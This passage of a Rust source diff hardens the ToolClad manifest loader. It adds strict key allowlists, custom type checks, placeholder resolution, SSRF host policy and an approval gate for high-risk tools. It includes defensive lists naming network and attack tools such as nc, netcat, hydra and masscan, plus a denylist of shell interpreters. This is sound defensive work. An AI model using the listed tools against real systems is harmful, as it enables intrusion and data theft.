`toolclad validate --allow-unknown-keys`, which [`load_manifest_with`] +//! exposes through [`LoadOptions`]; [`load_manifest`] and [`parse_manifest`] +//! are always strict. At call time an argument name the manifest does not +//! declare is refused the same way. //! //! ## Core Types //! @@ -26,11 +45,11 @@ //! | `integer` | Numeric with optional min/max and clamping | //! | `number` | Float with optional `min_float`/`max_float` and clamping | //! | `port` | 1-65535 | -//! | `boolean` | Exactly `"true"` or `"false"` | +//! | `boolean` | `"true"` or `"false"`, case-insensitive, normalized to lowercase | //! | `enum` | Value in declared `allowed` list | //! | `scope_target` | Injection-safe, no wildcards, valid IP/CIDR/hostname | //! | `url` | Valid URL with optional scheme restriction | -//! | `path` | No traversal (`../`) | +//! | `path` | Relative, no `..` path component | //! | `ip_address` | Valid IPv4 or IPv6 | //! | `cidr` | Valid CIDR notation | //! @@ -78,38 +97,730 @@ //! println!("{}", serde_json::to_string_pretty(&envelope).unwrap()); //! ``` //! +//! `execute` consults [`default_gate`] after validation and before anything +//! runs: a manifest with `human_approval = true` or `risk_tier` `high` / +//! `critical` fails with `policy gate denied: ...`. Pass your own gate to +//! [`executor::execute_with_gate`] (for example one that asks a human or a +//! Cedar evaluator), or call [`executor::execute_approved`] once approval +//! exists. +//! //! ## Manifest Format //! //! See the [ToolClad Design Spec](https://github.com/ThirdKeyAI/ToolClad/blob/main/TOOLCLAD_DESIGN_SPEC.md) //! for the full `.clad.toml` format specification. pub mod executor; +pub mod hostpolicy; +pub mod schema; +pub mod scope; pub mod types; pub mod validator; -use std::collections::HashMap; +pub use executor::{default_gate, GateDecision}; +use std::collections::{HashMap, HashSet}; use std::path::Path; -use types::{CustomTypeDef, Manifest, ToolCladError}; +use types::{CustomTypeDef, Manifest, ToolCladError, MODES}; + +/// Loader options. The default is strict; see [`load_manifest_with`]. +#[derive(Debug, Clone, Default, PartialEq)] +pub struct LoadOptions { + /// Downgrade unknown manifest keys from a load error to a warning on + /// stderr (`warning: unknown key '
.' in manifest`) and drop + /// them. An authoring aid for `toolclad validate --allow-unknown-keys`; + /// the plain loaders never set it. + pub allow_unknown_keys: bool, + /// Custom types to use instead of discovering `toolclad.toml` (for an + /// embedder that already has them). Each is checked as a discovered one + /// would be. `None` (the default) runs discovery; see + /// [`discover_custom_types`]. + pub custom_types: Option>, +} + +/// Environment variable naming the project `toolclad.toml` explicitly. +pub const CONFIG_FILE_ENV: &str = "TOOLCLAD_CONFIG_FILE"; + +/// Keys a `[types.]` table in `toolclad.toml` accepts. +const CUSTOM_TYPE_KEYS: &[&str] = &[ + "base", + "allowed", + "pattern", + "min", + "max", + "min_float", + "max_float", +]; /// Load and parse a `.clad.toml` manifest from the given path. +/// +/// Strict: an unknown key anywhere in the manifest is a load error. pub fn load_manifest>(path: P) -> Result { + load_manifest_with(path, LoadOptions::default()) +} + +/// [`load_manifest`] with explicit [`LoadOptions`]. +pub fn load_manifest_with>( + path: P, + options: LoadOptions, +) -> Result { let path = path.as_ref(); let content = std::fs::read_to_string(path).map_err(|e| { ToolCladError::ManifestError(format!("failed to read '{}': {e}", path.display())) })?; - parse_manifest(&content) + let dir = match path.parent() { + Some(d) if !d.as_os_str().is_empty() => d, + _ => Path::new("."), + }; + parse_manifest_impl(&content, options, Some(dir)) } /// Parse a manifest from a TOML string. +/// +/// Strict: an unknown key anywhere in the manifest is a load error. pub fn parse_manifest(toml_str: &str) -> Result { - let manifest: Manifest = toml::from_str(toml_str) - .map_err(|e| ToolCladError::ManifestError(format!("TOML parse error: {e}")))?; - validate_manifest(&manifest)?; + parse_manifest_with(toml_str, LoadOptions::default()) +} + +/// [`parse_manifest`] with explicit [`LoadOptions`]. +/// +/// The scope file for `scope_check` arguments is discovered upward from the +/// process cwd (or taken from `TOOLCLAD_SCOPE_FILE`). +pub fn parse_manifest_with( + toml_str: &str, + options: LoadOptions, +) -> Result { + parse_manifest_impl(toml_str, options, None) +} + +/// Shared loader body. `source_dir` is the manifest's directory when it came +/// from a file. +fn parse_manifest_impl( + toml_str: &str, + options: LoadOptions, + source_dir: Option<&Path>, +) -> Result { + let parse_err = + |e: toml::de::Error| ToolCladError::ManifestError(format!("TOML parse error: {e}")); + + // Walk the raw document against the key allowlist first so every unknown + // key is reported by its full path. `deny_unknown_fields` on the types is + // the second layer and catches anything the table and the structs disagree + // on. + let mut doc: toml::Table = toml::from_str(toml_str).map_err(parse_err)?; + let unknown = prune_unknown_keys(&mut doc); + + let mut manifest: Manifest = if unknown.is_empty() { + // Deserialize from the text so a structural error keeps its position. + toml::from_str(toml_str).map_err(parse_err)? + } else if options.allow_unknown_keys { + for key in &unknown { + eprintln!("warning: unknown key '{key}' in manifest"); + } + toml::Value::Table(doc).try_into().map_err(parse_err)? + } else { + return Err(ToolCladError::ManifestError(unknown_keys_message(&unknown))); + }; + + let custom_types = match options.custom_types { + Some(types) => { + for (name, def) in &types { + check_custom_type(name, def)?; + } + types + } + None => discover_custom_types(source_dir)?, + }; + + compile_command(&mut manifest)?; + validate_manifest_with_custom_types(&manifest, &custom_types)?; + manifest.custom_types = custom_types; + + // Load the scope once, here, when any argument asks for it. No file is + // not an error at load: every `scope_check` argument then fails closed. + manifest.source_dir = source_dir.map(Path::to_path_buf); + if all_arg_defs(&manifest).iter().any(|(_, d)| d.scope_check) { + manifest.scope = scope::discover_scope(source_dir)?; + } Ok(manifest) } -/// Validate internal consistency of a parsed manifest. -fn validate_manifest(manifest: &Manifest) -> Result<(), ToolCladError> { +/// Keys every argument table accepts (`[args.]`, `[session.commands..args.]`, +/// `[browser.commands..args.]`). +const ARG_KEYS: &[&str] = &[ + "position", + "required", + "type", + "description", + "default", + "allowed", + "pattern", + "sanitize", + "min", + "max", + "min_float", + "max_float", + "clamp", + "schemes", + "scope_check", + "block_internal", + "allow_leading_dash", + "allow_whitespace", +]; + +/// The manifest key allowlist, one entry per section: `(section, keys)`. +/// +/// This is the Rust copy of the cross-runtime allowlist and is meant to be +/// diffed against it line by line. A `*` segment stands for a user-chosen +/// name (`[args.]`, `[command.conditionals.]`, ...). A table that is not +/// listed here is an open map whose keys are user data (`command.defaults`, +/// `command.mappings`, `output.schema`, `http.headers`, `mcp.field_map`) and +/// is not walked. +const KNOWN_KEYS: &[(&str, &[&str])] = &[ + ( + "", + &[ + "tool", "args", "command", "output", "http", "mcp", "session", "browser", + ], + ), + ( + "tool", + &[ + "name", + "version", + "binary", + "description", + "timeout_seconds", + "risk_tier", + "human_approval", + "dispatch", + "mode", + "network_egress", + "allow_interpreter", + "cedar", + "evidence", + "limits", + ], + ), + ("tool.cedar", &["resource", "action"]), + ( + "tool.evidence", + &["output_dir", "capture", "hash", "screenshots"], + ), + ( + "tool.limits", + &[ + "nproc", + "nofile", + "fsize_bytes", + "address_space_bytes", + "cpu_seconds", + ], + ), + ("args.*", ARG_KEYS), + ( + "command", + &[ + "template", + "exec", + "executor", + "defaults", + "mappings", + "conditionals", + "end_of_options", + ], + ), + ("command.conditionals.*", &["when", "template"]), + ( + "output", + &["format", "parser", "envelope", "schema", "max_bytes"], + ), + ( + "http", + &[ + "method", + "url", + "headers", + "body_template", + "success_status", + "error_status", + ], + ), + ("mcp", &["server", "tool", "field_map"]), + ( + "session", + &[ + "startup_command", + "ready_pattern", + "startup_timeout_seconds", + "idle_timeout_seconds", + "session_timeout_seconds", + "max_interactions", + "interaction", + "commands", + "child_detection", + ], + ), + ( + "session.interaction", + &["input_sanitize", "output_max_bytes", "output_wait_ms"], + ), + ( + "session.commands.*", + &[ + "pattern", + "description", + "risk_tier", + "human_approval", + "extract_target", + "args", + ], + ), + ("session.commands.*.args.*", ARG_KEYS), + ("session.child_detection", &["pattern", "type", "manifest"]), + ( + "browser", + &[ + "engine", + "headless", + "connect", + "extract_mode", + "startup_timeout_seconds", + "session_timeout_seconds", + "idle_timeout_seconds", + "max_interactions", + "scope", + "commands", + "state", + "defaults", + ], + ), + ("browser.defaults", &["extract_mode"]), + ( + "browser.scope", + &["allowed_domains", "blocked_domains", "allow_external"], + ), + ( + "browser.commands.*", + &["description", "risk_tier", "human_approval", "args"], + ), + ("browser.commands.*.args.*", ARG_KEYS), + ("browser.state", &["fields"]), +]; + +fn known_keys(section: &str) -> Option<&'static [&'static str]> { + KNOWN_KEYS + .iter() + .find(|(name, _)| *name == section) + .map(|(_, keys)| *keys) +} + +fn join_path(base: &str, key: &str) -> String { + if base.is_empty() { + key.to_string() + } else { + format!("{base}.{key}") + } +} + +/// Remove every key [`KNOWN_KEYS`] does not list from the document and return +/// the concrete dotted path of each removed key, sorted. +fn prune_unknown_keys(doc: &mut toml::Table) -> Vec { + let mut unknown = Vec::new(); + prune_section(doc, "", "", &mut unknown); + unknown.sort(); + unknown +} + +/// `section` is the allowlist pattern (`session.commands.*`), `path` the +/// concrete location in this document (`session.commands.select`). +fn prune_section(table: &mut toml::Table, section: &str, path: &str, unknown: &mut Vec) { + let Some(allowed) = known_keys(section) else { + return; + }; + let keys: Vec = table.keys().cloned().collect(); + for key in keys { + let key_path = join_path(path, &key); + if !allowed.contains(&key.as_str()) { + table.remove(&key); + unknown.push(key_path); + continue; + } + let Some(toml::Value::Table(child)) = table.get_mut(&key) else { + continue; + }; + let child_section = join_path(section, &key); + if known_keys(&child_section).is_some() { + prune_section(child, &child_section, &key_path, unknown); + continue; + } + let named_section = join_path(&child_section, "*"); + if known_keys(&named_section).is_some() { + for (name, entry) in child.iter_mut() { + if let toml::Value::Table(sub) = entry { + prune_section(sub, &named_section, &join_path(&key_path, name), unknown); + } + } + } + } +} + +fn unknown_keys_message(keys: &[String]) -> String { + keys.iter() + .map(|k| format!("unknown key '{k}' in manifest")) + .collect::>() + .join("; ") +} + +/// Compile the `[command]` section into its canonical exec form. +/// +/// A `template` with no `exec` is tokenized here, once, on trusted manifest +/// text; every conditional template is tokenized the same way. The result is +/// what the executor substitutes into — values are never re-split. +fn compile_command(manifest: &mut Manifest) -> Result<(), ToolCladError> { + let cmd = &mut manifest.command; + cmd.exec_was_declared = cmd.exec.is_some(); + + if cmd.exec.is_none() { + if let Some(ref template) = cmd.template { + cmd.exec = Some(executor::tokenize_template(template)?); + eprintln!( + "warning: [command] template is deprecated and will be removed in the next minor release; use exec = [...]" + ); + } + } + + if let Some(ref mut conditionals) = cmd.conditionals { + for (name, cond) in conditionals.iter_mut() { + cond.tokens = executor::tokenize_template(&cond.template).map_err(|e| { + let msg = match e { + ToolCladError::ManifestError(m) => m, + other => other.to_string(), + }; + ToolCladError::ManifestError(format!("conditional '{name}': {msg}")) + })?; + } + } + + if let Some(ref eoo) = cmd.end_of_options { + if eoo != "--" { + return Err(ToolCladError::ManifestError(format!( + "end_of_options must be exactly \"--\" (got '{eoo}')" + ))); + } + } + + Ok(()) +} + +/// Load-time placeholder check: every `{name}` in the compiled exec form and +/// in every conditional must name a declared arg, a `[command.defaults]` key, +/// `__flags` for a mapped arg, `_` for a declared conditional, or +/// an executor-injected variable. A trusted multi-token variable must stand +/// alone as a whole token. +fn check_placeholders(manifest: &Manifest) -> Result<(), ToolCladError> { + let cmd = &manifest.command; + + let mut single: HashSet = manifest.args.keys().cloned().collect(); + if let Some(ref defaults) = cmd.defaults { + single.extend(defaults.keys().cloned()); + } + single.extend(executor::INJECTED_VARS.iter().map(|s| s.to_string())); + + let mut trusted: HashSet = HashSet::new(); + if let Some(ref mappings) = cmd.mappings { + trusted.extend(mappings.keys().map(|k| format!("_{k}_flags"))); + } + if let Some(ref conditionals) = cmd.conditionals { + trusted.extend(conditionals.keys().map(|k| format!("_{k}"))); + } + + let check = |tokens: &[String], context: &str| -> Result<(), ToolCladError> { + for token in tokens { + for name in executor::placeholder_names(token) { + if trusted.contains(&name) { + if token != &format!("{{{name}}}") { + return Err(ToolCladError::ManifestError(format!( + "placeholder '{{{name}}}' expands to multiple tokens and must be a whole token in {context}" + ))); + } + } else if !single.contains(&name) { + return Err(ToolCladError::ManifestError(format!( + "unresolved placeholder '{{{name}}}' in {context}" + ))); + } + } + } + Ok(()) + }; + + if let Some(ref exec) = cmd.exec { + check(exec, "command")?; + } + if let Some(ref conditionals) = cmd.conditionals { + for (name, cond) in conditionals { + check(&cond.tokens, &format!("conditional '{name}'"))?; + } + } + if let Some(ref mappings) = cmd.mappings { + for (arg, table) in mappings { + for value in table.values() { + executor::tokenize_template(value).map_err(|e| { + let msg = match e { + ToolCladError::ManifestError(m) => m, + other => other.to_string(), + }; + ToolCladError::ManifestError(format!("mapping for '{arg}': {msg}")) + })?; + } + } + } + Ok(()) +} + +/// Binaries that connect to a network destination derived from their arguments +/// — the ones for which an unconstrained `scope_target`/`url` is an SSRF surface. +const EGRESS_BINARIES: &[&str] = &[ + "curl", "wget", "nmap", "nc", "ncat", "netcat", "masscan", "telnet", "ssh", "ping", "fping", + "httpie", "http", "wfuzz", "ffuf", "hydra", "nikto", +]; + +/// Argument types that name a network destination. In an egress manifest each +/// must set `block_internal = true`. +const NETWORK_TARGET_TYPES: &[&str] = &["scope_target", "url", "ip_address", "cidr"]; + +fn command_basename(s: &str) -> String { + s.rsplit(['/', '\\']) + .next() + .unwrap_or(s) + .to_ascii_lowercase() +} + +/// Basenames refused as `argv[0]` unless `[tool] allow_interpreter = true`: +/// an interpreter turns an argument into code. +const INTERPRETERS: &[&str] = &[ + "sh", "bash", "zsh", "dash", "ksh", "csh", "tcsh", "fish", "ash", "busybox", "env", "eval", + "xargs", "python", "python2", "python3", "perl", "ruby", "node", "deno", "bun", "lua", "php", + "awk", +]; + +/// Load-time checks on the command's `argv[0]` (the compiled `exec` form, so +/// a `template` is covered too): it may not be an interpreter without +/// `allow_interpreter`, and when `tool.binary` is declared their basenames +/// must agree, so the binary a reviewer reads is the binary that runs. +/// Manifests without a command (`[http]`, `[mcp]`, `[session]`, +/// `[browser]`-only) have nothing to check. +fn check_argv0(manifest: &Manifest) -> Result<(), ToolCladError> { + // The executor escape hatch is exempt from the basename rule (it is a + // wrapper by definition) but not from the interpreter denylist: + // `executor = "/bin/sh"` turns argument values into shell input. + if let Some(ref exe) = manifest.command.executor { + if !manifest.tool.allow_interpreter + && INTERPRETERS.contains(&command_basename(exe).as_str()) + { + return Err(ToolCladError::ManifestError(format!( + "command argv[0] '{exe}' is an interpreter; set allow_interpreter = true to permit it" + ))); + } + return Ok(()); + } + let Some(argv0) = manifest.command.exec.as_ref().and_then(|e| e.first()) else { + return Ok(()); + }; + let base = argv0.rsplit('/').next().unwrap_or(argv0); + if !manifest.tool.allow_interpreter && INTERPRETERS.contains(&command_basename(argv0).as_str()) + { + return Err(ToolCladError::ManifestError(format!( + "command argv[0] '{argv0}' is an interpreter; set allow_interpreter = true to permit it" + ))); + } + let binary = &manifest.tool.binary; + if !binary.is_empty() && base != binary.rsplit('/').next().unwrap_or(binary) { + return Err(ToolCladError::ManifestError(format!( + "command argv[0] '{argv0}' does not match tool.binary '{binary}'" + ))); + } + Ok(()) +} + +/// True if the manifest's command dispatches one of the known egress binaries +/// (checked across `tool.binary`, `command.exec[0]`, and `command.template`). +/// +/// An `executor`-only manifest runs whatever its executor script decides: +/// `tool.binary` is still checked, but a script that reaches the network +/// through some other program is invisible here. Such a manifest is an egress +/// manifest only when its author declares it — `network_egress = true`, +/// `[http]` or `[browser]` — so the escape hatch is the author's +/// responsibility. +fn command_invokes_egress_binary(m: &Manifest) -> bool { + let mut names: Vec = Vec::new(); + if !m.tool.binary.is_empty() { + names.push(command_basename(&m.tool.binary)); + } + if let Some(first) = m.command.exec.as_ref().and_then(|e| e.first()) { + names.push(command_basename(first)); + } + if let Some(first) = m + .command + .template + .as_ref() + .and_then(|t| t.split_whitespace().next()) + { + names.push(command_basename(first)); + } + names.iter().any(|n| EGRESS_BINARIES.contains(&n.as_str())) +} + +/// True if the manifest reaches the network from its arguments: the author +/// declared `network_egress = true`, the backend is `[http]` or `[browser]`, +/// or the command dispatches a known egress binary. +fn is_egress_manifest(m: &Manifest) -> bool { + m.tool.network_egress + || m.http.is_some() + || m.browser.is_some() + || command_invokes_egress_binary(m) +} + +/// Every argument definition in the manifest with the name used to report +/// it: top-level args by name, session and browser command args by their key +/// path. Sorted so a refusal names the same argument on every load. +fn all_arg_defs(m: &Manifest) -> Vec<(String, &types::ArgDef)> { + let mut out: Vec<(String, &types::ArgDef)> = + m.args.iter().map(|(n, d)| (n.clone(), d)).collect(); + if let Some(session) = &m.session { + for (cmd, def) in &session.commands { + for (n, d) in &def.args { + out.push((format!("session.commands.{cmd}.args.{n}"), d)); + } + } + } + if let Some(browser) = &m.browser { + for (cmd, def) in &browser.commands { + for (n, d) in &def.args { + out.push((format!("browser.commands.{cmd}.args.{n}"), d)); + } + } + } + out.sort_by(|a, b| a.0.cmp(&b.0)); + out +} + +/// Egress safety (TC-15): a tool that connects to a network target must +/// default-deny internal/SSRF addresses. In an egress manifest every +/// `scope_target`, `url`, `ip_address` or `cidr` argument must set +/// `block_internal = true`. A custom type over one of those bases is refused +/// outright: the custom type cannot carry `block_internal`, and the author +/// should use the built-in type. +fn egress_lint( + manifest: &Manifest, + custom_types: &HashMap, +) -> Result<(), ToolCladError> { + if !is_egress_manifest(manifest) { + return Ok(()); + } + for (name, def) in all_arg_defs(manifest) { + let type_name = def.type_name.as_str(); + if NETWORK_TARGET_TYPES.contains(&type_name) { + if !def.block_internal { + return Err(ToolCladError::ManifestError(format!( + "argument '{name}' is a network target for an egress binary but block_internal is not set; \ + set block_internal = true to default-deny internal/SSRF targets" + ))); + } + } else if let Some(custom) = custom_types.get(type_name) { + if NETWORK_TARGET_TYPES.contains(&custom.base.as_str()) { + return Err(ToolCladError::ManifestError(format!( + "argument '{name}' uses custom type '{type_name}' as a network target; \ + custom types cannot carry block_internal — use the built-in {} type", + custom.base + ))); + } + } + } + Ok(()) +} + +/// The output parsers the reference runtimes implement. +pub const BUILTIN_PARSERS: &[&str] = &[ + "builtin:json", + "builtin:jsonl", + "builtin:csv", + "builtin:xml", + "builtin:text", +]; + +/// Largest accepted `[output] max_bytes` (1 GiB). +pub const MAX_OUTPUT_BYTES: u64 = 1_073_741_824; + +/// `[output]`: a custom parser is refused (it would otherwise be silently +/// ignored), and `max_bytes` must be 1..=1 GiB. A non-integer `max_bytes` +/// already fails to deserialize. +fn check_output(manifest: &Manifest) -> Result<(), ToolCladError> { + let Some(ref output) = manifest.output else { + return Ok(()); + }; + if let Some(ref p) = output.parser { + if !BUILTIN_PARSERS.contains(&p.as_str()) { + return Err(ToolCladError::ManifestError(format!( + "custom output parsers are not supported by the reference runtimes (parser = \"{p}\")" + ))); + } + } + if output.max_bytes == 0 || output.max_bytes > MAX_OUTPUT_BYTES { + return Err(ToolCladError::ManifestError(format!( + "output.max_bytes must be an integer from 1 to {MAX_OUTPUT_BYTES} (got {})", + output.max_bytes + ))); + } + Ok(()) +} + +/// `[http]`: the scheme and host of `http.url` must be literal (the host is +/// the SSRF boundary and stays manifest-controlled), header names must be +/// tokens, and the literal host passes the IP policy — link-local is always +/// refused, and when any argument sets `block_internal` the remaining +/// non-public ranges and internal names are refused too. +fn check_http(manifest: &Manifest) -> Result<(), ToolCladError> { + let Some(ref http) = manifest.http else { + return Ok(()); + }; + let host = executor::http_url_literal_host(&http.url)?; + for name in http.headers.keys() { + executor::check_header_name(name)?; + } + let block_internal = all_arg_defs(manifest).iter().any(|(_, d)| d.block_internal); + let bare = host + .strip_prefix('[') + .and_then(|h| h.strip_suffix(']')) + .unwrap_or(&host); + let as_manifest_err = |e: ToolCladError| match e { + ToolCladError::ValidationError(m) => ToolCladError::ManifestError(m), + other => other, + }; + if let Some(ip) = hostpolicy::parse_canonical_ip(bare) { + hostpolicy::enforce_ip_policy("http.url", &ip, block_internal).map_err(as_manifest_err)?; + } else if block_internal { + if hostpolicy::is_internal_name(bare) { + return Err(ToolCladError::ManifestError(format!( + "http.url host '{bare}' is an internal name (blocked by block_internal policy)" + ))); + } + if let Some(ip) = hostpolicy::embedded_ip_literal(bare) { + hostpolicy::enforce_ip_policy("http.url", &std::net::IpAddr::V4(ip), true) + .map_err(as_manifest_err)?; + } + } + Ok(()) +} + +/// Validate internal consistency of a parsed manifest with the custom types +/// of a `toolclad.toml` in scope (see [`load_custom_types`]). A custom type +/// name is accepted wherever a built-in type is, with its base type checked; +/// the egress lint then also refuses a custom type over a network-target base +/// in an egress manifest. The loaders call this with the discovered custom +/// types. +pub fn validate_manifest_with_custom_types( + manifest: &Manifest, + custom_types: &HashMap, +) -> Result<(), ToolCladError> { // Validate dispatch mode. let valid_dispatch = ["exec", "callback"]; if !valid_dispatch.contains(&manifest.tool.dispatch.as_str()) { @@ -120,8 +831,33 @@ fn validate_manifest(manifest: &Manifest) -> Result<(), ToolCladError> { ))); } + // Validate the advisory mode when declared. + if let Some(ref mode) = manifest.tool.mode { + if !MODES.contains(&mode.as_str()) { + return Err(ToolCladError::ManifestError(format!( + "invalid mode '{mode}', must be one of: {}", + MODES.join(", ") + ))); + } + } + + // A zero timeout used to mean "no deadline"; it is refused so every + // spawned tool has one. + if manifest.tool.timeout_seconds == 0 { + return Err(ToolCladError::ManifestError( + "timeout_seconds must be greater than zero".to_string(), + )); + } + let is_callback = manifest.tool.dispatch == "callback"; + if !is_callback { + check_argv0(manifest)?; + } + + check_output(manifest)?; + check_http(manifest)?; + // exec dispatch requires a backend and an [output] block. if !is_callback { if manifest.command.template.is_none() @@ -145,32 +881,101 @@ fn validate_manifest(manifest: &Manifest) -> Result<(), ToolCladError> { } } - // Validate argument types and constraints. - for (name, def) in &manifest.args { - if !validator::SUPPORTED_TYPES.contains(&def.type_name.as_str()) { + // Validate argument types and constraints. A custom type stands in for + // its base type. + for (name, def) in all_arg_defs(manifest) { + let custom = custom_types.get(&def.type_name); + let base = custom.map_or(def.type_name.as_str(), |c| c.base.as_str()); + if !validator::SUPPORTED_TYPES.contains(&base) { + return Err(ToolCladError::ManifestError(match custom { + Some(c) => format!( + "custom type '{}' has invalid base type '{}'", + def.type_name, c.base + ), + None => format!("unknown type '{}' for argument '{}'", def.type_name, name), + })); + } + let has_allowed = def.allowed.is_some() || custom.is_some_and(|c| c.allowed.is_some()); + if base == "enum" && !has_allowed { return Err(ToolCladError::ManifestError(format!( - "unknown type '{}' for argument '{}'", - def.type_name, name + "argument '{name}' is type 'enum' but has no 'allowed' list" ))); } - if def.type_name == "enum" && def.allowed.is_none() { + } + + // `scope_check` is honored only on network-target types; anywhere else + // it would be a control that silently does nothing. + for (name, def) in all_arg_defs(manifest) { + let base = custom_types + .get(&def.type_name) + .map_or(def.type_name.as_str(), |c| c.base.as_str()); + if def.scope_check && !scope::SCOPE_CHECK_TYPES.contains(&base) { return Err(ToolCladError::ManifestError(format!( - "argument '{name}' is type 'enum' but has no 'allowed' list" + "argument '{name}' scope_check is not supported for type '{}'", + def.type_name ))); } } - // Validate that mapping keys reference existing args. + egress_lint(manifest, custom_types)?; + + // A per-argument default is manifest-controlled and must pass its own + // type through the strict entry point. The scope is checked at call time + // (defaults are validated again there), not here. + for (name, def) in all_arg_defs(manifest) { + let Some(ref default) = def.default else { + continue; + }; + let value = executor::toml_value_to_string(default); + let mut strict = def.clone(); + strict.scope_check = false; + validator::validate_arg_with_custom_types(&name, &strict, &value, custom_types).map_err( + |e| { + let msg = match e { + ToolCladError::ManifestError(m) | ToolCladError::ValidationError(m) => m, + other => other.to_string(), + }; + ToolCladError::ManifestError(format!( + "argument '{name}' has an invalid default '{value}': {msg}" + )) + }, + )?; + } + + // Validate that mapping keys reference existing args, and that a mapping + // over an enum covers every allowed value: a missing case must be a load + // failure, not a silently flag-less invocation. Map a value to "" to say + // "no flags". if let Some(ref mappings) = manifest.command.mappings { - for arg_name in mappings.keys() { - if !manifest.args.contains_key(arg_name) { + for (arg_name, table) in mappings { + let Some(def) = manifest.args.get(arg_name) else { return Err(ToolCladError::ManifestError(format!( "mapping references unknown argument '{arg_name}'" ))); + }; + if def.type_name == "enum" { + if let Some(ref allowed) = def.allowed { + let mut missing: Vec<&str> = allowed + .iter() + .filter(|v| !table.contains_key(*v)) + .map(String::as_str) + .collect(); + missing.sort_unstable(); + if !missing.is_empty() { + return Err(ToolCladError::ManifestError(format!( + "mapping for enum argument '{arg_name}' does not cover allowed values: [{}] (map a value to \"\" for no flags)", + missing.join(", ") + ))); + } + } } } } + // Every placeholder in the compiled command must resolve to something the + // manifest declares; a typo must not survive to build time. + check_placeholders(manifest)?; + // Validate risk_tier values. let valid_tiers = ["info", "low", "medium", "high", "critical"]; if !valid_tiers.contains(&manifest.tool.risk_tier.as_str()) { @@ -184,45 +989,124 @@ fn validate_manifest(manifest: &Manifest) -> Result<(), ToolCladError> { Ok(()) } -/// Load custom type definitions from a toolclad.toml file. +/// Load custom type definitions from a `toolclad.toml` file. +/// +/// Strict: the only top-level key is `types`, each `[types.]` accepts +/// only `base allowed pattern min max min_float max_float`, `base` must be a +/// built-in type, a custom type may not reuse a built-in type name, and a +/// `pattern` must compile. pub fn load_custom_types>( path: P, ) -> Result, ToolCladError> { - let content = std::fs::read_to_string(path.as_ref()) - .map_err(|e| ToolCladError::ManifestError(format!("failed to read toolclad.toml: {e}")))?; - let config: toml::Value = toml::from_str(&content).map_err(|e| { - ToolCladError::ManifestError(format!("TOML parse error in toolclad.toml: {e}")) + let path = path.as_ref(); + let content = std::fs::read_to_string(path).map_err(|e| { + ToolCladError::ManifestError(format!("failed to read '{}': {e}", path.display())) })?; + parse_custom_types(&content) +} - let mut types = HashMap::new(); - if let Some(types_table) = config.get("types").and_then(|t| t.as_table()) { - for (name, def) in types_table { - let base = def.get("base").and_then(|b| b.as_str()).ok_or_else(|| { - ToolCladError::ManifestError(format!("custom type '{name}' missing 'base' field")) - })?; +/// [`load_custom_types`] from a TOML string. +pub fn parse_custom_types(content: &str) -> Result, ToolCladError> { + let err = |m: String| ToolCladError::ManifestError(format!("toolclad.toml: {m}")); + let config: toml::Table = + toml::from_str(content).map_err(|e| err(format!("TOML parse error: {e}")))?; - let custom = CustomTypeDef { - base: base.to_string(), - allowed: def.get("allowed").and_then(|a| a.as_array()).map(|arr| { - arr.iter() - .filter_map(|v| v.as_str().map(String::from)) - .collect() - }), - pattern: def - .get("pattern") - .and_then(|p| p.as_str()) - .map(String::from), - min: def.get("min").and_then(|m| m.as_integer()), - max: def.get("max").and_then(|m| m.as_integer()), - min_float: def.get("min_float").and_then(|m| m.as_float()), - max_float: def.get("max_float").and_then(|m| m.as_float()), + let mut types = HashMap::new(); + for (key, value) in config { + if key != "types" { + return Err(err(format!("unknown key '{key}'"))); + } + let toml::Value::Table(table) = value else { + return Err(err("'types' must be a table".to_string())); + }; + for (name, def) in table { + let toml::Value::Table(fields) = def else { + return Err(err(format!("'types.{name}' must be a table"))); }; - types.insert(name.clone(), custom); + if let Some(bad) = fields + .keys() + .find(|k| !CUSTOM_TYPE_KEYS.contains(&k.as_str())) + { + return Err(err(format!("unknown key 'types.{name}.{bad}'"))); + } + if !fields.contains_key("base") { + return Err(err(format!("custom type '{name}' missing 'base' field"))); + } + let custom: CustomTypeDef = toml::Value::Table(fields) + .try_into() + .map_err(|e| err(format!("custom type '{name}': {e}")))?; + check_custom_type(&name, &custom)?; + types.insert(name, custom); } } Ok(types) } +/// Check one custom type: a built-in base, no shadowing of a built-in type +/// name, and a pattern that compiles once anchored. +fn check_custom_type(name: &str, def: &CustomTypeDef) -> Result<(), ToolCladError> { + if validator::SUPPORTED_TYPES.contains(&name) { + return Err(ToolCladError::ManifestError(format!( + "custom type '{name}' shadows a built-in type" + ))); + } + if !validator::SUPPORTED_TYPES.contains(&def.base.as_str()) { + return Err(ToolCladError::ManifestError(format!( + "custom type '{name}' has invalid base type '{}' (the base must be a built-in type)", + def.base + ))); + } + if let Some(ref pat) = def.pattern { + regex::Regex::new(&validator::anchor_pattern(pat)).map_err(|e| { + ToolCladError::ManifestError(format!( + "custom type '{name}' has an invalid pattern: {e}" + )) + })?; + } + Ok(()) +} + +/// Locate and load the project `toolclad.toml` for a manifest in +/// `manifest_dir` (`None` for a manifest parsed from a string: the search +/// starts at the cwd). +/// +/// `TOOLCLAD_CONFIG_FILE`, when set and non-empty, names the file (unreadable +/// is an error). Otherwise `toolclad.toml` is searched upward from the +/// manifest's directory to the filesystem root. No file means no custom +/// types. +pub fn discover_custom_types( + manifest_dir: Option<&Path>, +) -> Result, ToolCladError> { + let env = std::env::var_os(CONFIG_FILE_ENV); + discover_custom_types_with(env.as_deref(), manifest_dir) +} + +/// [`discover_custom_types`] with the `TOOLCLAD_CONFIG_FILE` value passed +/// explicitly (an empty value counts as unset). +pub fn discover_custom_types_with( + env_file: Option<&std::ffi::OsStr>, + manifest_dir: Option<&Path>, +) -> Result, ToolCladError> { + if let Some(file) = env_file.filter(|f| !f.is_empty()) { + return load_custom_types(Path::new(file)); + } + let cwd = std::env::current_dir().map_err(|e| { + ToolCladError::ManifestError(format!("cannot determine current directory: {e}")) + })?; + let start = match manifest_dir { + Some(dir) if dir.is_absolute() => dir.to_path_buf(), + Some(dir) => cwd.join(dir), + None => cwd, + }; + for dir in start.ancestors() { + let candidate = dir.join("toolclad.toml"); + if candidate.is_file() { + return load_custom_types(&candidate); + } + } + Ok(HashMap::new()) +} + /// Generate an MCP-compatible JSON schema from a manifest. pub fn generate_mcp_schema(manifest: &Manifest) -> serde_json::Value { let mut properties = serde_json::Map::new(); @@ -233,6 +1117,10 @@ pub fn generate_mcp_schema(manifest: &Manifest) -> serde_json::Value { args.sort_by_key(|(_, def)| def.position); for (name, def) in &args { + // A custom type is described by its base type and merged constraints. + let resolved = + validator::resolve_custom_type(def, &manifest.custom_types).and_then(Result::ok); + let def = resolved.as_ref().unwrap_or(def); let mut prop = serde_json::Map::new(); // Map ToolClad types to JSON Schema types with constraints. @@ 